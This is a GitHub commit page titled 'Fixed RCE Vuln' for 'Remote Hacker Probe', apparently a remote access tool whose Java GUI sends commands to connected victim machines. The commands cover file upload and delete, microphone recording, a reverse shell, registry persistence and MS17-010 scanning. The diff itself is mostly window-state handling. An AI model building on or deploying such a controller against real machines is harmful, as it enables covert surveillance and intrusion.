Skip to content

Commit

Permalink
Fixed RCE Vuln
Browse files Browse the repository at this point in the history
  • Loading branch information
quantumcore committed Mar 7, 2021
1 parent f205891 commit d9b3873
Show file tree
Hide file tree
Showing 11 changed files with 355 additions and 153 deletions.
31 changes: 31 additions & 0 deletions gui/src/main/java/rhp/FileManager.java
Original file line number Diff line number Diff line change
Expand Up @@ -51,8 +51,11 @@
import javax.swing.JComboBox;




class IconRenderer extends DefaultListCellRenderer {


String[] video_ext = {
"mp4",
"avi",
Expand Down Expand Up @@ -253,14 +256,29 @@ else if(Arrays.asList(txt).contains(ext))


public class FileManager extends JDialog {



public final static JPanel contentPanel = new JPanel();
static JList FileList;
public int CLIENT_ID;
public static StringBuilder SelectedFile = new StringBuilder("");
public static JTextField textField;
public static DefaultListModel model;
public static List<String> driveslist = new ArrayList<String>();

public static Boolean FileMgrOpen = false;

public static void DisableFileManager()
{
FileManager.FileList.setEnabled(false);
}

public static void EnableFileManager()
{
FileManager.FileList.setEnabled(true);
}

/**
* Create the dialog.
*/
Expand All @@ -278,6 +296,8 @@ void Refresh()


public FileManager() {

MainWindow.HaltAllSystems();
setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE);
setTitle("Remote Hacker Probe | File Manager");
setBounds(100, 100, 761, 410);
Expand Down Expand Up @@ -318,6 +338,8 @@ public void actionPerformed(ActionEvent e) {
String File = (String) FileList.getSelectedValue();
if(!File.startsWith("(^)")) {
String filename = File.replaceAll("\\(.*?\\) ?", "");
SelectedFile.replace(0, SelectedFile.length(), filename);

Server.SendData(Server.Clients.get(CLIENT_ID), "fupload:"+filename);
ServerThread.WaitForReply();
}
Expand Down Expand Up @@ -390,6 +412,7 @@ public void actionPerformed(ActionEvent e) {
{
String File = (String) FileList.getSelectedValue();
if(!File.startsWith("(^)")) {
SelectedFile.replace(0, SelectedFile.length(), File);
String filename = File.replaceAll("\\(.*?\\) ?", "");
Server.SendData(Server.Clients.get(CLIENT_ID), "delete:"+filename);
ServerThread.WaitForReply();
Expand All @@ -416,6 +439,7 @@ public void mouseClicked(MouseEvent evt) {
String dir = (String) FileList.getSelectedValue();
if(dir.startsWith("(^)")) {
String Dirname = dir.replace("(^) ", "");
SelectedFile.replace(0, SelectedFile.length(), dir);
Server.SendData(Server.Clients.get(CLIENT_ID), "cd");
Server.SendData(Server.Clients.get(CLIENT_ID), Dirname);
Refresh();
Expand All @@ -438,6 +462,7 @@ public void actionPerformed(ActionEvent e) {
btnGo.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
String Dirname = textField.getText();
SelectedFile.replace(0, SelectedFile.length(), Dirname);
Server.SendData(Server.Clients.get(CLIENT_ID), "cd");
Server.SendData(Server.Clients.get(CLIENT_ID), Dirname);
Refresh();
Expand Down Expand Up @@ -505,6 +530,12 @@ public void actionPerformed(ActionEvent e) {
public void windowOpened(WindowEvent we) {
Server.SendData(Server.Clients.get(CLIENT_ID), "listdir");
}

@Override
public void windowClosed(WindowEvent we) {
FileMgrOpen = false;
MainWindow.EnableAllSystems();
}
});
}
}
22 changes: 4 additions & 18 deletions gui/src/main/java/rhp/MainWindow.java
Original file line number Diff line number Diff line change
Expand Up @@ -81,7 +81,7 @@ public boolean isCellEditable(int row, int column) {
};
static JTextArea LogArea = new JTextArea();
public static JTable table;
public static JLabel onlinelabel;
public static JLabel onlinelabel = new JLabel("");
static JLabel userlbl = new JLabel("User : ");

/**
Expand Down Expand Up @@ -145,31 +145,16 @@ public static Double GetLongitude(int CLIENT_ID)

public static void HaltAllSystems()
{
if(FileManager.FileList != null){
FileManager.FileList.setEnabled(false); // Disable The File Manager
}

if(Shell.ShellOutput != null);
{
Shell.ShellOutput.setEnabled(false); // Disable Shell
}
table.getSelectionModel().clearSelection();
//table.getSelectionModel().clearSelection();
table.setEnabled(false); // Disable the Main Table too!
}

public static void EnableAllSystems()
{
if(FileManager.FileList != null)
{
FileManager.FileList.setEnabled(true); // Enable The File Manager
}

if(Shell.ShellOutput != null)
{
Shell.ShellOutput.setEnabled(true); // Enable Shell
}
table.setEnabled(true); // Enable the Main Table too!
}

public static void Log(String text)
{
String timeStamp = new SimpleDateFormat("HH:mm:ss").format(new Date());
Expand Down Expand Up @@ -479,6 +464,7 @@ public void actionPerformed(ActionEvent arg0) {
Server.SendData(Server.Clients.get(index), "drives");
ServerThread.WaitForReply();
FileManager dialog = new FileManager();
FileManager.FileMgrOpen = true;
dialog.CLIENT_ID = table.getSelectedRow();
dialog.setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE);
dialog.setVisible(true);
Expand Down
14 changes: 14 additions & 0 deletions gui/src/main/java/rhp/MicRecorder.java
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,8 @@
import java.awt.event.ActionListener;
import java.awt.event.ItemEvent;
import java.awt.event.ItemListener;
import java.awt.event.WindowAdapter;
import java.awt.event.WindowEvent;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.concurrent.TimeUnit;
Expand All @@ -29,6 +31,7 @@ public class MicRecorder extends JDialog {
static JLabel lbl ;
static JToggleButton jtb;
public static int CLIENT_ID;
public static Boolean MicRec = false;
/**
* Launch the application.
*/
Expand Down Expand Up @@ -95,6 +98,8 @@ public void run()
* Create the dialog.
*/
public MicRecorder() {

MainWindow.HaltAllSystems();
setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE);
setResizable(false);
setTitle("Remote Hacker Probe | Mic Recorder");
Expand All @@ -116,6 +121,7 @@ public MicRecorder() {

jtb.addItemListener(new ItemListener() {
public void itemStateChanged(ItemEvent ev) {
MicRec = true;
if(ev.getStateChange()==ItemEvent.SELECTED){
Server.SendData(Server.Clients.get(CLIENT_ID), "micstart"); // send instruction to start mic recording
// expect no reply
Expand All @@ -142,6 +148,14 @@ public void itemStateChanged(ItemEvent ev) {

contentPanel.add(jtb);

addWindowListener(new WindowAdapter() {

@Override
public void windowClosed(WindowEvent we) {
MainWindow.EnableAllSystems();
}
});


}
}
11 changes: 11 additions & 0 deletions gui/src/main/java/rhp/MsgBox.java
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,8 @@
import javax.swing.JTextField;
import javax.swing.JComboBox;
import java.awt.event.ActionListener;
import java.awt.event.WindowAdapter;
import java.awt.event.WindowEvent;
import java.util.concurrent.TimeUnit;
import java.awt.event.ActionEvent;
import javax.swing.SwingConstants;
Expand All @@ -28,6 +30,7 @@ public class MsgBox extends JDialog {
* Create the dialog.
*/
public MsgBox() {
MainWindow.HaltAllSystems();
setResizable(false);
setTitle("Remote Hacker Probe | Message Box");
setBounds(100, 100, 421, 217);
Expand Down Expand Up @@ -98,5 +101,13 @@ public void actionPerformed(ActionEvent e) {
btnNewButton.setFont(new Font("Calibri", Font.PLAIN, 12));
btnNewButton.setBounds(300, 147, 89, 23);
contentPanel.add(btnNewButton);

addWindowListener(new WindowAdapter() {

@Override
public void windowClosed(WindowEvent we) {
MainWindow.EnableAllSystems();
}
});
}
}
19 changes: 19 additions & 0 deletions gui/src/main/java/rhp/NetworkScanner.java
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,8 @@
import java.awt.Font;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.WindowAdapter;
import java.awt.event.WindowEvent;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
Expand Down Expand Up @@ -53,6 +55,8 @@ public class NetworkScanner extends JDialog {
JTabbedPane tabbedPane = new JTabbedPane(JTabbedPane.TOP);
Boolean isActionRunning = false;

public static Boolean NetworkScanRunning = false;

/**
* Create the dialog.
* @return
Expand Down Expand Up @@ -127,6 +131,7 @@ void ScanPort(String TargetIP)
setDefaultCloseOperation(JDialog.DO_NOTHING_ON_CLOSE);
MainWindow.HaltAllSystems();
isActionRunning = true;
NetworkScanRunning = true;
progressBar_1.setIndeterminate(true);
List<String> lines;
try {
Expand All @@ -146,13 +151,15 @@ void ScanPort(String TargetIP)
isActionRunning = false;
MainWindow.EnableAllSystems();
setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE);
NetworkScanRunning = false;
}

void EScanIp(ArrayList<String> localArray)
{
setDefaultCloseOperation(JDialog.DO_NOTHING_ON_CLOSE);
MainWindow.HaltAllSystems();
isActionRunning = true;
NetworkScanRunning = true;
for (int counter = 0; counter < localArray.size(); counter++) {
// System.out.println(localArray.get(counter));

Expand All @@ -170,6 +177,7 @@ void EScanIp(ArrayList<String> localArray)

EModel.addElement("MS17-010 Scan finished.");
isActionRunning = false;
NetworkScanRunning = false;
MainWindow.EnableAllSystems();
setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE);
}
Expand All @@ -179,6 +187,7 @@ void ScanIp(ArrayList<String> localArray)
setDefaultCloseOperation(JDialog.DO_NOTHING_ON_CLOSE);
MainWindow.HaltAllSystems();
isActionRunning = true;
NetworkScanRunning = true;
progressBar.setIndeterminate(true);
for (int counter = 0; counter < localArray.size(); counter++) {
// System.out.println(localArray.get(counter));
Expand All @@ -199,11 +208,13 @@ void ScanIp(ArrayList<String> localArray)
progressBar.setIndeterminate(false);
NsModel.addElement("Scan finished.");
isActionRunning = false;
NetworkScanRunning = false;
MainWindow.EnableAllSystems();
setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE);
}

public NetworkScanner() {
MainWindow.HaltAllSystems();
setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE);

setResizable(false);
Expand Down Expand Up @@ -641,6 +652,14 @@ public void actionPerformed(ActionEvent e) {
MainWindow.addPopup(PList, jp2);
MainWindow.addPopup(eternalscanoutput, jp3);
MainWindow.addPopup(hsoutput, jp4);

addWindowListener(new WindowAdapter() {

@Override
public void windowClosed(WindowEvent we) {
MainWindow.EnableAllSystems();
}
});

}
}
10 changes: 10 additions & 0 deletions gui/src/main/java/rhp/Persist.java
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,8 @@
import java.awt.Font;
import java.awt.event.ItemEvent;
import java.awt.event.ItemListener;
import java.awt.event.WindowAdapter;
import java.awt.event.WindowEvent;
import java.util.concurrent.TimeUnit;

import javax.swing.JLabel;
Expand All @@ -36,6 +38,7 @@ public class Persist extends JDialog {
* Create the dialog.
*/
public Persist() {
MainWindow.HaltAllSystems();
setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE);
setTitle("Remote Hacker Probe | Persistence");
setResizable(false);
Expand Down Expand Up @@ -224,5 +227,12 @@ public void actionPerformed(ActionEvent e) {
keyname.setBounds(75, 165, 220, 26);
contentPanel.add(keyname);
keyname.setColumns(10);
addWindowListener(new WindowAdapter() {

@Override
public void windowClosed(WindowEvent we) {
MainWindow.EnableAllSystems();
}
});
}
}
1 change: 1 addition & 0 deletions gui/src/main/java/rhp/Server.java
Original file line number Diff line number Diff line change
Expand Up @@ -159,6 +159,7 @@ public void run() {
while(true) {
try {
clientsocket = mainsocket.accept();
System.out.println("[INFO] New connection from : " + clientsocket.getRemoteSocketAddress().toString());
Clients.add(clientsocket);
MainWindow.UpdateOnlineLabel();
getInformation();
Expand Down
3 changes: 3 additions & 0 deletions gui/src/main/java/rhp/Shell.java
Original file line number Diff line number Diff line change
Expand Up @@ -37,6 +37,8 @@ public class Shell extends JDialog {
JButton ShellGo;
JLabel interact = new JLabel("");
public Shell() {

MainWindow.HaltAllSystems();
setResizable(false);
setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE);
setTitle("Remote Hacker Probe | Reverse Shell");
Expand Down Expand Up @@ -144,6 +146,7 @@ public void windowOpened(WindowEvent we) {
public void windowClosed(WindowEvent e) {
Shell.ShellOutput.setText("");
MainWindow.Log("Reverse Shell closed.");
MainWindow.EnableAllSystems();
}
});
}
Expand Down
Loading

0 comments on commit d9b3873

Please sign in to comment.